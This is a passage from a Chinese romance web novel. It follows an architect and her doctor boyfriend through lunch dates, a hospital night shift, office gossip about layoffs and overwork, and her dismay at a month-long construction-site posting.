喻了了睁大眼睛,立刻开始打马虎眼:“就、就是去找你看病的时候啊!反正就是盯上了,什么时候有差吗?” 正好饭菜上桌,她接过来就直接往他面前放,又手忙脚乱地站起来,跑去消毒柜拿筷勺,回来后顺理成章转移话题:“你快吃!” 吃完赶紧远离这群人! …… 折腾一通,从饭馆出来就已经12点40了,距离午休结束就只有50分钟不到。 喻了了心中一痛,只想找个不会再被打扰的地方争分夺秒!一时却有点不知道该往哪儿去。 公司在高新区,边上整片都是写字楼,连个私密点的场所都没有,她琢磨半天也只能想到:“要不要回车里去?” “?”时霁半秒都没犹豫,就自我保护意识很强地拒绝:“不去。” 谁知道她又准备在车里做点什么,就那么点地方躲都没地儿躲,等会再出了事算谁的? “为什么啊?”喻了了不解。 他有点没法解释,顿了下才说:“下午还要上班。” “这跟上班有什么关系?”她更不解了。 他冷笑了下:“你是没关系。” “?” 他也不再给她突发奇想的机会,拉着人就进了边上一家咖啡店,在前台扫了点餐码后,来到靠墙的角落坐下,然后把手机递给她:“看喝什么。” “……哦。” 这片的上班族行色匆匆,点完咖啡一般都是打包带走,所以店里这会儿拢共也没几个人,靠墙的角落也相对还算隐蔽。 喻了了半窝在他怀里,感觉这环境好像也行,便听话的点了杯拿铁 ,然后抬头问:“你喝什么?” “跟你一样。” 他应完后接回手机,直接在选好的品类上加了一杯,下单后又等了会儿,听到叫号就到前台取餐。 片刻后带着两杯咖啡回来,手上还在拆封吸管,她就迫不及待要抬起他右边手臂,先钻进去环抱住他的腰后,才肯让人继续动作。 他扬了扬眉,有种正忙的时候,家里的狗狗闹着要陪的无奈,却也不乏有点受用,便由着她蹭了一通,又调整到最舒适的怀抱位后,才把扎好的吸管的咖啡送到她嘴边。 喻了了咬住吸管,就着喝了一口,才腾出只手自己去拿,然后边喝边继续瞎蹭,时不时抬头看他一眼,见他没有要训斥的意思,又弯着眼睛,有点得意的咧嘴开笑。 感觉这才是午休的正确打开方式! 然而这种感觉也没能维持太久。 当她再次抬头,视线经过他吞咽时滚动的喉结和被冰咖浸润过的薄唇时,顿时就又有点不满足了…… 她的视线落点一向明确,出神时的想法也全都写在脸上。 时霁见她脸颊红温,神情呆定地含着吸管,便眯缝着眼喊了声:“喻了了。” 她听到声音,目光又停留几秒,才很艰难地从他开合的唇瓣上移了些:“……啊?” 他眼尾低垂,一字一顿提醒:“公共场合。” “……” 她眨了眨眼,脑海里满是昨夜温存过的画面,甚至还流连到不自觉地吞咽了下,直到对上他审判的目光,才隐隐有些飘忽:“我……我又没想干嘛。” “没想?”他轻哂了下,直接把她从嘴边移开的吸管怼到她眼前:“那这是什么。” “……” 喻了了一惊,自己都有点傻眼。 咬烂了都…… 难怪刚刚都有点吸不上来了…… 她愣了会儿,被抓包后反而理直气壮:“那我也就只是想了一下啊,又没干!” 控诉完后还有点委屈上了,心想他刚刚要是答应回车里,不就可以干了吗?自己又哪至于要在这里咬吸管? 但这会儿午休马上就结束了,现在再回去肯定也来不及,她便只能气鼓鼓地问:“那你明天中午还过来吗?” “?”时霁也不知这语气反转是怎么来的,顿了下,便毫不犹豫道:“不来。” “……” 喻了了忽地坐直,睁大眼睛看他,下意识就想质问他为什么不来,先看到的确实他眼下乌青。 于是话音顿住,自己就想通了。 虽然他已经和自己在一起了,却也没有义务一定要满足她的所有需求,甚至如果不是昨晚自己死皮赖脸缠着,他这会儿也应该是在正常午休,而不是特意到这里来喝他根本不爱喝的咖啡。 但想通归想通,她却不知道为什么还是很不开心,只一瞬间,就丧到一句话也不想说。 时霁见她不知怎的,脑袋就慢慢低了下来,不由伸手去捏她脸颊:“又想什么呢。” 她偏开头,不让他碰:“没什么。” “……” 他啧了一下,这才意识到玩得有点过火了,便不由分说把人抓过来,正色了些解释:“明天值班,得24小时待在医院,出不来。” 他把人揽进怀里,下巴垫靠在她肩上,慢声哄人时微凉的呼吸,也随着声调,一应落在她耳边:“你要是没有非得在公司加班,晚上可以过去找我。” “诊室不好进人,但在值班室里给你找个位置写作业,应该还是可以的。”- 临近上班,整个办公区都还是一片死气沉沉,除了个别忙到连午休都在赶项目的,大多都还趴在桌上午休,直到头顶的长条灯被人拍亮,才陆陆续续有人从电脑前抬头。 整个过程极度懒散,通常都会再拖延个5-30分钟不等,才能真正睁开眼睛,做回牛马。 胡明宇竖着一戳呆毛坐起来时,喻了了已经回到工位,左手搭在键盘上,右手鼠标一通点击,看样子非常认真,可等他坐直,打眼看过去时,却猝不及防和天正界面上一只有棱有角的猪头对上视线…… 不知道她是哪根筋搭错,但看面相,他也能猜到大概:“吵架啦?” “没有。”喻了了声音闷闷的,头都没回,明显不太想聊,但要说兴致不高,好像也不太准确,因为她已经开始着手要给屏幕里的猪头画眼镜了。 画好之后截图保存,丢到微信里,准备回头拿去做表情包。 “……” 全程围观的胡明宇默默退下了。 她做完这些,却还是不太开心。 吵架是真的没有,甚至连生气都算不太上,就仅仅只是因为发现他没有必须要配合自己,并且好像这么迫切想见面的也只有自己一个人,而有点不开心而已。 她也知道这好像是无理取闹,所以现在除了不开心之外,就还有一种因为知道是自己无理取闹而有点不好意思的事后别扭。 虽然他也没说什么,还很认真地哄了自己,但不妨碍她的心情就是很差! 她也不知道自己为什么会这样,就只能借着乱涂乱画发泄一点,然后才让眼镜猪头退下,切换成回项目文件,顶着张赌气脸开始奋力工作! 一下午过去,她其实都已经忘了这茬,晚上去食堂排队的时候,还惯例摸出手机想给他发消息,但一看到他下午回医院后给自己报备的聊天记录,又全都想起来了。 而且这个点,他早就下班了,居然到现在都没有再给自己发过任何消息! 她气鼓鼓的,顿时就感觉他不仅没有想见自己,好像也并不是很爱跟自己聊天,突然就也不想给他发了,反手又把手机塞了回去! 晚饭后回到工位,照常加班到十点出头,她打卡下班,从电梯出来,边往外走边点开打车软件,在停车点站定的时候,边上一辆车子突然嘟嘟催促了两声。 她下意识往后退开让路,再抬头看去时,整个人忽然就定住了…… 时霁靠着椅背,微微蹙了下眉,像有点不满意她走了这么大段路都没注意到自己,看样子也根本没指望他会过来似的,这会儿的反应堪称措手不及。 刚好前面的车子开走,他又往前移动了些,继而伸手探出窗外,趁她愣神的功夫把手机抽走,随手取消了出行订单后,就像手握证据一样拎着手机,兴师问罪道:“我还这儿呢,你又打算上谁的车?” 喻了了呆了会儿,不知怎得又脸红起来,说是背着他胡来被当场抓包也不为过的样子,后知后觉咂舌:“你……你怎么来了!” 他啧了一声,偏头向副驾示意:“你说呢。” “……哦。”她又呆了一会儿,莫名奇妙就有点难为情,半晌才慢吞吞移动过去,打开又关上车门,默不作声绑上安全带。 脸还是红着的,眼睛也有点不太敢乱看。 时霁看着好笑,一时又拿不准她这会儿还经不经逗,便也没说什么,只松开手刹,起步往主路驶去。 喻了了闷了会儿,自己就被过分安静的气氛憋得有点没底,两只手绞在一起,偏头假装看了会风景,才又像刚想起来似的说:“你其实……也没有必要特意过来一趟。” 从她骨折好了之后,他晚上来接自己的行程就已经正式取消了,所以她确实是 没想到他今晚会过来。 虽然这会儿看到他突然出现也还挺那什么的,但想到他昨晚就没睡好,中午也没休息,晚上再来接送一趟,明天一大早又要开始值班,而这一切都是因为自己之后……她那独自闹了一下午的事后别扭就更强烈了。 “那怎么办。” 时霁放缓车速,多欣赏了几秒她那快被自己给纠结死的别扭样儿,压了压唇角,语气也挺无奈:“女朋友生气了不得哄?” 喻了了坐直了点,心里正盘算着假装一切都没有发生的可能性,然后故作轻松地说:“……我没有生气啊。” “哦……”时霁拖着声调,漫不经心点头,顺着她的话说:“那就是把我忘了,所以我才一下午都没收到消息的?” 喻了了提着口气,还想狡辩说我只是工作太忙忘记了而已,出口时却直接变卦:“但你不是也没给我发吗?” 他顿了下,淡淡地回:“行。” 语气没什么波澜,只单纯承认她的控诉,然后就没下文了。 她抓着安全带等了会儿,愈发没底后,才状似不经意地问:“行……行什么?” 又隔了会儿,他才在一个红灯前停车,把着方向盘偏头看她,随口顺着逻辑:“所以你是看我没发,就故意不给我发了?” “……”她张了张唇,这才惊觉露馅。 “这就是你说的没生气?” “……” 喻了了像个无可辩驳的过错方,一时连他的眼睛都有点不敢看,只能耷拉脑袋,安静等着被送到家后下车滚蛋。 时霁也不再说话,只集中精神开车,直到抵达松林苑门口,停车熄火,看着她自觉解开安全带,转身就要下车时,才清浅出声:“去哪儿。” 喻了了抓着门把手回头,不太确定他是不是还要追责,怔了一会儿,才有些迟疑地回答:“……回家啊。” 他啧了一下,也解开安全带,继而摘掉眼镜侧身逼近,一手撑着副驾座椅,另只手拉回她挂在门把上的手,把人囿困在臂弯里,低声谴责:“不是要在车里亲?” “中午不给亲还生气,现在都送上门了又要走?” 喻了了懵懵的,见这架势,下意识就想捂脸抱头,可还没等反应过来就已经被逼至绝境。 她紧靠着椅背,退无可退地眨了眨眼,对上黑暗中愈发深邃的眼眸,不觉有些心跳失衡:“我……我又不是因为这个生气的。” “嗯。”他勾了勾唇,也不同她理论,只又抵进些许,贴着她的唇侧,低低地问:“那还亲么。” “……” 她整个人僵住,感知里满是他近在咫尺的清冽气息,又因为鼻尖相抵,一时有点不能呼吸。 勉强开合的唇瓣,也不知为何颤得厉害:“但、但是现在亲的话,会不会有点奇怪……” 他们刚刚好像还在闹别扭,虽然可能只是她单方面这么觉得,但上一秒还在互相理论,下一秒就接吻的话,会不会还是有点…… “怪么。”他眼尾压下来,倾身贴触两秒,舌尖刮过她的唇缝,慢慢吮了会儿。 仔细品味过后,才稍稍退开些许,认真告知感受:“我觉得还好。” 第33章 第33章那我怕是没命陪你了。 一连两天都没睡几个小时,再早起来到公司时,喻了了的精神状态就稍微有点堪忧了。 脸色煞白,眼底乌青,不止走路有点儿晃悠,还没事背了个小书包。 “醒醒。”胡明宇眼睁睁地看人晃到工位,才出声提醒:“你已经成年,不用再去上学了。” 喻了了坐下来,把背包放好后瞥他一眼,很严肃地说:“这是笔记本!” 他其实也看出来了,就是闲着没事想嘴两句:“没事带笔记本干嘛?公司的电脑还不够你用?” 她笑了一下,边给电脑开机,边神秘兮兮地说:“今晚不在公司加班。” “?” 胡明宇只顿了一秒,就精准推断:“去找你男朋友?” “昂~”喻了了半点没接收到他话里警醒的意思,还颇有些得意地抬了点头:“他说可以让我过去写作业。” “靠……”他皱眉凑近,压低声音说:“现在这种情况,你还敢乱来?” “现在什么情况?”她不以为意。 “又要裁员了啊!”他拔高气音:“你不知道??” “知道啊。” 这几年房地产不景气,连带着建筑行业也备受打击,单单就这大半年,降薪、裁员、福利回收、战略调整,都不知道搞了多少波。 她又怎么可能不知道。 “知道你还敢乱来?”胡明宇问。 “我哪有乱来。”喻了了说:“我又不是在上班时间跑路,只是要在下班之后,把多出来的工作带离完成,有什么问题吗?” “……还有什么问题?”胡明宇简直匪夷所思。 公司原本就是强制996,因为裁员风波搞得人心惶惶后,卷工时的情况反而还更严重了,上个月部门内的每日平均工作时长,已经达到了恐怖的14h。也就是说,在工作日早上10点来,晚上10点走的情况下,周末还得来加至少15个小时的班,才能达到平均水准。 然而大家手里未必都有那么多活要干,毕竟行业都这么不景气了,公司能拿下的项目都没有那么多,所以这么做,更大程度上只是为了避免“工作时长”垫底,月底要被约谈n+1离职罢了。 而在这种情况下,她竟然要主动舍弃工时,还带着工作跑去小男朋友约会?胡明宇怀疑她脑子秀逗了:“你恋爱谈得工作都不要了?” “没有不要。”喻了了眨着眼,很认真地说:“但如果工作不要我,我也可以接受。” 公司的制度她清楚,却不代表她认可,虽然她可能没那么大的能力去改变什么,却至少不想因此变得束手束脚,连正常的生活社交都没法保障。 她加班就只是因为工作没完成,降薪也还在可以接受的范围内,仅仅只是觉得这份工作还能干,就暂时还继续干着而已。 所以如果公司因为没有无意义的卷工时,就把她裁掉的话,那她也可以快快乐乐地拿着n+1走人,大不了就回道馆当教练,钱多事少离家近,还有大把时间可以谈恋爱。 然而也不是谁都有这样的底气。 “靠。”胡明宇酸了:“明明就是恋爱脑,还非得说得这么清新脱俗。” 喻了了一副我是恋爱脑我骄傲的模样,哼地一声说:“那也比你母solo还要天天加班好多了!” 胡明宇被命中要害,当场暴走:“你也才脱单没几天好吧!” 不知道是不是熬夜使人清醒,喻了了这会儿的思路无比清晰:“再给你几天你也脱不了。” “……” 胡明宇快气死了:“这恋爱脑的嘴脸啊……” 他咬牙切齿摸出手机:“不行了,我要去跟小潘说,金利那边的驻场就让你去!” “什么啊!”喻了了也急了。 反手就把他手机抽走,顺带着把人摁住警告:“你要是敢说,我就跟小潘举报你每天上厕所八次,每次都要半小时!明天就让你n+1走掉!” 开什么玩笑,工地驻场又苦又累不说,还一去就得个把月!她才刚谈恋爱第三天,要真是去了,男朋友被晾凉了算谁的?!! …… 因为这事,喻了了一整天盯他都跟盯梢似的,隔一会儿就要扒一下他在各个社交平台上和潘洪波的聊天记录,并时不时穿插警告,自己平时揍他也就仅仅只用了一成功力而已!高度戒备到他差点都要把账号交出来了,才堪堪作罢。 时霁根本就不知道,她为了让他们不被棒打鸳鸯,到底做了多少努力!只是在楼下接人的时候,猝不及防,差点又被扑出内伤。 他忍了会儿咳,才勉强开口:“喻了了……” “啊啊啊——”喻了了想也知道,他肯定又要说什么公共场合,不要、不行、不可以!就只能赶在他说出来之前用力把人抱住,再猛猛地胡乱蹭过一通后,才冷不丁把手一松,自觉放开。 “……” 明明就是造反的那个,松开的时候还委屈上了,时霁啧了一下,伸手拨开她蹭得乱糟糟 的头发,捋到耳后问:“怎么了?” 她哼了一声,张了张唇,想要告状来着,却忽然觉得连重复一遍,都有可能变成乌鸦嘴效应,最后就只是说:“和胡明宇吵架了!” 他有点好笑:“吵输了?” “怎么可能!”她立马抬头,一副胜负心很强的样子说:“当然是赢了!”就算是用武力镇压也不可能输好吗! 他扬了扬眉,顺势问道:“那气什么?” 她愣了愣,淤堵的感觉忽然就散了:“……好像也是。” 疏导成功,他便像是要领走自家熊孩子般,转而牵着她的手说:“去吃饭?” “好!”喻了了点点头,不疑有它地抱住他的胳膊,转瞬之间,心情就又好起来了。 时霁今天值班,没法外出太久,就只带着人在医院食堂简单吃了一下,结束后又在附近的档口给她点了杯奶茶,就带着人回了值班室。 边上的位置已经腾出来了,不太大,桌角也还堆着些零散的文件,但给她放个笔记本和奶茶,也还是有点富余的。 喻了了抱着背包坐下来,感受了下新的“办公环境”,回头一看到“同桌”的脸,便满意地笑了起来:“要是每天都能在这里加班就好了!” 时霁把吸管给她扎上,轻嗤着递过去,毫不逞能地回:“那我怕是没命陪你了。” “哎呀……”喻了了捧着奶茶,放软声音解释:“我的意思是每天都很想看到你啊,又不是要让你每天都值班。” 时霁见她嗦了一口,脸颊都因此变得鼓鼓囊囊,没忍住伸手捏了一把,继而言归正传地交代说:“我现在是在这儿,但一会外面要是有事,随时都可能出去,你就该画图画图,该回家回家,听到没。” “没问题!”她弯着眼睛,乖乖地让他捏,并煞有介事地保证:“我就在这里待着,也绝对不打扰你工作!” 他啧地一声松手,要不是场合不对,还真想捞过来撸一会儿。 喻了了知道这是工作场合,当然也没指望会变成约会场所,见他回头开始对着电脑工作,便也就安静地在边上窝着,边微微晃着小腿喝奶茶,边快乐地沉浸在他挺括的侧颜中,算是晚饭过后的休闲。 差不多要喝完的时候,才不得不搬出笔记本,跟放风结束似的,回归社畜的牢笼。 没过多久,时霁的手机果然响了起来。 他简单交流几句,便挂断电话看过去:“我得出去忙了,多久能回来还不清楚,你要是画完了就先回去,记得给我发个消息。” 说话的间隙,他就已经站起来了,看样子好像还挺紧急的,她便也不多话,只老实点头:“好。” 目送人离开之后,更安静地继续画图。 …… 皮肤科相对其它科室,可能并没有那么忙,但因为长济的皮肤科算是省内首屈一指,每日的接诊量和病床数量都极为庞大,所以每晚都还是会安排医生值班,且并不只有一位。 周晨和时霁算是固定拍档,没什么意外的话,通常排班都是一致的。 所以当他从外头回来,乍一看到坐在值班室里的不是那张老脸时,就稍微愣了一下,再看一眼,更愣了:“你怎么来了?” 这不早不晚也不凑巧的,不仅不适合送夜宵,连面都不一定见得上。 喻了了回过头,一脸稀松平常地说:“时霁让我来的啊。” “……” 周晨又认真看了下,见她坐姿松弛、表情自然,手里操作也明显已经进入状态,看样子应该过来有一会儿了,便顺着思路猜测了下:“陪他值班?” “昂~”喻了了点头,手里的动作没停:“我自己也有一点事情,就过来跟他一起加班。” 周晨宕机了会儿,猛不丁想起什么,又一脸八卦地抽了张椅子坐过去,不太确定地问:“你两真在一起了?” 昨天中午时霁忽然要单独出动,被自己调侃了一句“找女朋友去啊?这么积极”,他当时什么反应来着? 笑着回了一句:“脑子还挺好使”。 他当时原地反应了几秒,都愣是没敢确定这话就是单纯的在夸自己,毕竟那家伙平时说话就跟放烟雾弹似的,假亦是真,真亦是假。 但现在看来,好像还真确有其事? “对呀。” 喻了了点头,给了他答案。 “靠——”虽说也算是猜到了,但当他真的亲耳听到,也还是很难压住震惊:“什么时候?!” “嘿。”她自己想想都还有点开心,就笑起来回答:“前天晚上呀。” “你表的白?” “肯定啊!” “……” 周晨又愣了会儿,表情就好像在目睹生物入侵,有点儿不明白这到底是怎么完成似的问:“你怎么说的?” 他也是真的有点好奇,那么难搞的家伙,到底是被怎样的说辞打动的? 喻了了眨了眨眼,顺着他的话回忆了下:“就是……我问他能不能继续追他,他就说我要是很喜欢他的话,应该要直接问‘我可以和你在一起吗’。” “然后我就问了,他就答应了。” “挺简单的呀。” 她说完,立刻就跟捡到便宜一样笑起来,以为周晨会夸她厉害或者幸运,却没想到他的表情更加愕然,就好像亲眼看到她被诈骗了一样:“你不觉得……自己好像被坑了吗??” “有吗?” 喻了了浑然不觉,反而因此想起那天自己刚告完白,就又把人按在沙发上亲了一晚上,他都没什么怨言的经过,虽然到最后也没肯让自己摸,但除此之外,大体都还是非常顺从与迁就…… 当然,这种事就不方便再对外细说了,如果说了,周晨大概就能直接就地取材,给她普及一桩妙龄少女被黑心怪CPU的恐怖故事。 毕竟他可是个正义感爆棚的白衣天使,感慨完毕,很快就又从社会角度出发,重新看待了下这件事:“也挺好。” “他要真让你收了,那什么鬼的谣言也就不攻自破了,他也不会再去做什么小三,破坏别人家庭了。” “?”喻了了还沉浸在喜悦中,猝不及防听到这一大段,人都傻了:“你在乱说什么啊?” 那什么鬼的谣言她是知道的,但什么做小三破坏别人家庭,难道不又是在造谣吗?? “我有什么好乱说的?”周晨一副对此嗤之以鼻的样子,也为了证明自己所言非虚,直接把某人的老底扒了:“就大概几个月前,你开始追他的前一段时间吧,他突然有天就站在诊区外边,盯着自己的手看了一圈,兴致挺好地说‘我可能要做小三了’。” “这可是原话!” “我估摸着对面应该是个手控,最起码也应该表达过对他那双手很感兴趣,才会让他那么势在必得的。” 喻了了听得一愣一愣的,不仅因为他说的有鼻子有眼,好像并不是假话的样子,还因为隐约有点乱七八糟的思路。 表达过对他的手很感兴趣,这件事自己好像就干过? 但她下意识却还是说:“怎么可能!” 她才不相信他是会去做小三的人! “怎么不可能?”虽然当初听到的时候,他也蛮匪夷所思的,但话说回来:“有什么事是那家伙做不出来的?不信你自己去问!” “……” 喻了了当然不会去问。 因为质疑他会做这样的事,本来就是一件非常没有礼貌的事,而且上次问他是不是同性恋的时候,她就已经吃过一次这样的亏了,更别说他现在已经跟自己在一起了,之前都没影的事情又有什么好追究的。 但她还是由此想起了一件事:“那那个同性恋的谣言呢?又是怎么回事?” “这就不清楚了。”周晨难得” 谦虚“:“只知道是很早就有了,最起码得在医大入学前,问他也没说。” “其实是有两个版本,一个说他是同性恋,另一个是说有人在搞他,故意散播这样的谣言。但更多还是倾向第一个,毕竟真要不是,去谈个恋爱不就完了,但他偏偏没有。” 然而现在事实证明,第一个就是假的,问题便指向了第二个:“谁会故意这样做啊?” “不知道。”周晨说:“可能是某个富婆?为了包他故意这样传,他就谈不了恋爱了?反正早几年医大论坛上有人是这么猜的。” “……” 富婆。 小三。 破坏家庭…… 喻了了顿时就脑补了一出大戏,并觉得相当棘手。 她才刚陷入“被裁员”的风险中,如果这时候来个富婆,要和自己竞争的话…… 时霁回来的时候,她就是这么双目无神地瘫在椅子上,一副天要亡我的凌乱模样。 “?他疑惑一瞬,抬手在她眼前晃了晃:“忙完了?” “嗯……”她呆呆点头。 就算没忙完,也根本没心情再继续忙了。 她这两天拢共睡了几个小时,他大概还是有数的,便也很自然就把这种情况归结于睡眠不足,又摸出手机看了眼时间,见也差不多了就说:“那给你叫车了?” “嗯……嗯?”喻了了刚要点头,忽然又抬头,猛地站起来按住他的手说:“我自己叫!” “?” 她收拾了下心情,很快就又打气精神,一副势必会抗争到底的模样,反问他说:“时霁,你缺钱吗?” “?” 她一本正经,非常认真且严肃地表态:“缺的话一定要跟我说,绝对不可以去卖身知道吗!” “??” 他二话没说,直接看向周晨:“你跟她说什么了?!” 第34章 第34章一点都不够! 虽然后来时霁再三声明过,他并不缺钱,但那天的危机感,还是牢牢刻在了喻了了的脑海里,之后不仅工作更加努力,也因此变得愈发粘人。 不知道为什么,就是很担心把他放在外边,可能一不留神就会被谁勾走!所以之后每天中午和晚上,他再要来找自己时,她一次都没拒绝过。 开头几天还很满足,感觉每次一出公司就能看到有人在等自己的感觉,真的还蛮好的,他也很安分,每次都只是坐在车里,哪里都没有乱去。 但没过几天,喻了了却有点儿不安分了。 时霁下班早,一般从医院离开后,没什么事的话就会直接过去,陪她吃完晚饭再回车里,要么补觉要么看点资料,大概再消磨三个多小时,就能看到她蹦蹦跳跳,迫不及待从大堂蹿过来的身影。 但这天才刚过去半小时,丢在手扶箱上的手机就响了起来,他点击中控台接听,车载环绕音箱便随之传来一道鬼鬼祟祟的声音:“时霁,你要不要上来?” “?” …… 喻了了以前没注意,但自从去过一次医院加班之后,突然就发现,其实经常会有同事把家属带到公司来。 可能真的是因为工作太忙,除此之外也很难再挤出别的时间,所以哪怕这样的“约会形式”并不多么浪漫,大家也都非常珍惜。 她浅浅观摩几天之后,终于还是按捺不住,也把人喊了上来。 这会儿前台已经下班,公司门面那片区域都已经关灯,喻了了就走到门外去等。 明明也才分开半个小时,可一见人从电梯厅出来,她却还是惊喜的溢于言表,几步冲过去就要往上扑,却冷不丁被人一把按着脑袋定住:“老实点儿。” 老实说,虽然被人扑个满怀的感觉是挺好的,但一天要再多来个几次,他还真怕自己的身子骨受不了。 而且这还是在公司门口,顶头就是监控。 “唔……” 喻了了被迫刹车,不满地撅了下嘴,却还是安分下来,转而去牵他的手,把人带进公司,又拐过两个弯,来到办公区边上一间空着的会议室里。 桌上已经摆好了一台笔记本,两杯水,还有一点小零食,桌前两张椅子并排,有别于它处的端正,很亲密地靠拢在一起。 一看就知道,这场面属于“蓄谋已久”。 时霁被安排在她身边坐下,神态疏懒,佯作不知:“让我上来干嘛。” “就在这里休息呀。”喻了了也一本正经的,捧着杯水递过去:“这个椅子可以往后调,你想睡觉也可以,要喝水的话我就帮你倒,是不是比待在车里舒服多了?” 他扬了扬眉,接过水,抿了一口说:“就只是这样?” “嘿嘿。”她笑起来,也不吝道出私心:“还有就是你可以一直看着我,我也可以随时看到你呀!” 虽然已经听过很多遍,他却还是会被她的马屁取悦到,不觉笑出声音,放下水杯,揽过她的腰问:“不会耽误工作?” “不会呀。”喻了了自觉凑过去一点,一副很喜欢被他抱着的样子,指了指屏幕说:“我画图超级熟练,聊着天都能画好!” 这是实话,有一回甲方领导临时有了新思路,导致整个方案都要推翻重做,且第二天就要上会取用,潘洪波直接就把这事交给了她,才能赶在一个通宵之后有图可用。 倒也不是说她能力有多强,只是执行这块刚好是她的长处,只要有确定的方案,明确告知需要动哪些地方,她把图纸呈现出来的速度就非常之快,虽然也有一定的错误率,却至少能保证不开天窗。 她像是要证明似的,说话的同时,手里鼠标键盘按得都快要飞起。 时霁看着屏幕里黑底之上五颜六色的线条,像在排布着什么,也有点认知之外的新奇:“现在这是在做什么?” “这是强排!”喻了了见他对自己的事情感兴趣,也很开心。 “嗯……”她想了一下,才慢慢解释:“就是我们拿到一块地之后,就要给这块地规划,大概要排布几栋楼,往哪个方向,怎么排,再结合这个地理位置的日照时长,计算楼间距以及楼高多少,才不会阻挡别栋底层的采光。同时还要满足容积率,就是这块地的实际房屋面积,最低不得少于多少,才能保证盈利。” “你可以理解为,强排就是这块地最高盈利强度的建筑排布总图。” 时霁从侧面看她,说起专业的时候眼睛亮亮的,一副很有成算的样子,和平时虎虎的模样大相径庭,莫名就有种在看小学生念获奖感言的既视感。 他不由有点好笑,也不禁想要表扬:“这些都是你一个人完成的?” “不是啊。”喻了了目视前方,手里操作不停,像在回答场下提问一样,如实陈述:“建筑项目很大的,基本都是由团队一起完成的。” “比如我现在在做强排,同时就还会有一个同事在排列地库,一个在规划户型,等楼体轮廓出来,还有一个就要开始做效果图,最后全部都汇总出来,再做成一个项目汇报的PPT。” “听着是不是还挺简单的?”她这才回过头来,有点无力地说:“但其实过程很难,设计阶段中随便一个调整,整个团队的工作量都会跟着变动,就算到最后施工蓝图都敲定了,但要是楼盘销量不好,也随时都有可能再被打回来重新设计。” “看着就是一个项目,但从开始到真正结束,最少也要一两年。” “不简单。” 时霁笑了下,学着她的语气,不无肯定地说:“听着就很厉害。” “嘿……” 她虽然也不是这个意思,但突然被夸了一下,就还是忍不住有点开心,又莫名害羞似的,钻进他怀里蹭了两下。 他虚揽着人,揉了揉她的脑袋,又有点好奇:“怎么会选这个专业的。” 按理来说,不该是选择从警或者考公的概率更大些吗? “啊……” 说起这个,她才是真的有点不好意思,半晌才探出一点脑袋,很是为难地问:“一定要知道吗?” 他扬了扬眉:“?” 本来也没有,但现在可能是了。 “……唔。”她绞着手指,强行做了会儿心理建设,才尴尬地说:“就是报志愿之前跟老喻吵架了嘛,我就非常不想跟他从事同一个职业啊! 然后他就很生气地骂我这个脑子,不去抓小偷,是准备以后去工地搬砖吗?” 说到这儿她又有点生气,顿时就直起身来,叉着腰继续:“那我肯定气不过呀,就回了句搬砖就搬砖啊!然后就选了个跟搬砖最匹配的专业嘛。” 说来惭愧,大家都以为学建筑是来画图的,没想到还要去工地搬砖,只有她,以为建筑学就等于搬砖,没想到还要天天画图。 就她这么个说话都是论拳头的设定,刚开始画图那段时间,别提有多难适应了! 时霁“嗤”地一下,没忍住抖着肩膀笑起来,半晌才说出句整话:“不愧是你……” 喻了了哼了一声,气不过似的,也抱臂反问:“那你呢?” 他顿了下:“嗯?” “为什么会做医生啊?” “……” 他这才敛了点儿笑,像是觉得没什么好说的,只淡淡道:“因为家里有人学医。” “……哦。”她就随口一问,也并没指望他的经历会比自己更乌龙,关注点只在他不再嘲笑自己了,便也没深究,扭过头去继续工作。 时霁在边上看了会儿,又喝完一杯水后,站起来说:“去趟洗手间。”- 作为一个几乎24小时不熄灯的建筑公司,中寰的洗手间附近,常年混迹着一帮摸鱼人群。 边上的消防楼道算是重灾区,隔一会儿就会换一批人,在这儿抽烟、吐槽、聊八卦…… “欸,你们刚看喻了了没,直接就把人带小房间了,啧,谁知道在里面到底是工作还是干嘛。” “女人不就那样,没个男人干活都没劲儿,小家子气,也不知道小潘怎么想的,尽把好项目往她们组堆,做得完嘛她。” “嗐,人拿奖啦,飘啦,高低不得捧一捧。” “就那屁大点的奖,能顶什么用?你就看楼上那Flora,奖拿得少啦?之前多风光啊,还不是被黄总老婆给抓了,说架空就架空,现在一天到晚闲着没事,走也不是,留也不是。” “那咱这肯定没法跟公建部比啊,能有个小奖就不错了。” “说起公建部,喻了了之前是不也在那呆过?靠,该不会也跟黄总有什么关系,资源才这么好吧?” “哈哈哈哈哈,那还真没准……” 楼道里乌烟瘴气,几个闲人或蹲或靠,人均手里夹着支烟,原本壮志难酬的心情,也终于因为找到个足够有力度的“理由”,而疏散了些。 不约而同笑起来时,才注意到边上不知何时多了个人。 时霁懒懒倚着门框,手里漫不经心架着部手机,像在录制什么风景,见几人相继看了过来,面上才露出些好戏被打断的遗憾:“这就说完了?” 他啧了一声,面对几人纷纷警觉的架势,神情倒是非常友善:“所以几位是因为能力太强,无处施展,才在这儿报团取暖的?” …… 喻了了不知道他出去一趟做了什么,却明显感觉回来时的心情更舒展,就好像刚巧有人踩到他雷点上,被充当着泄愤了一样。 她眨了眨眼,有些奇怪地问:“你干嘛去了?” 时霁坐回原位,顺势揽回她的腰,兴致不错的样子,有一下没一下地摩挲着,半答半问地回:“拿奖了?” 她愣了一下,杏眼微瞠:“你怎么知道?” 他扬了扬眉,有种居然要是从别人嘴里听说自家喜事的不满:“怎么不说。” “……” 喻了了被问得还有点儿不好意思,摸了摸耳朵说:“就是一个很小的奖啦,而且也不是我一个人拿的,是大家一起的呀。” 她们这种专做地产的部门,确实是没法和公建部比的,说的好听是拿奖了,说的不好听点,那个奖甚至都没什么人知道,她自己拿的时候都没过心,但感觉他知道了好像还挺开心的,便又笑着补充了句:“那下次还有的话就跟你说,全都跟你说!” 他也笑起来,应了句行,便又敦促说:“认真点儿,忙完早点回家。” “哦。”她想起最近每天回家后惯例会发生的事,不觉咂了咂唇,很兴奋地回:“好!”- 喻了了感觉这天结束得还挺愉快的,但不知道为什么,之后几天再让他上楼时,他却再也不肯答应,问也只是说在车里等着就行。 前几天她理论不过,也就就此作罢了,但这天她惊闻噩耗,很有种自己一个人承受不住的意思,又开始在微信里打滚:【真的不上来吗?】 【再不来的话可能就见不到我最后一面了呜呜呜】 【悲从中来.jpg】 【绝望地哭了起来.jpg】 【强撑着最后一口气等你.jpg】 时霁有点好笑:【这么严重?】 喻了了:【对呀!】 时霁:【那剩最后一口气你想干嘛】 喻了了:【亲你呀!】 【这样的话说不定还能续一口气,就能再亲一口了!】 【快扶我起来,我还能干.jpg】 时霁:【啧】 他碰了碰唇角未消的咬痕:【每晚把我摁车里啃半小时还不够?还要在公司乱来?】 喻了了:【一点都不够!】 她超级无敌巨巨巨崩溃:【我要去驻场了!之后一个多月都亲不到了啊呜呜呜呜呜】 第35章 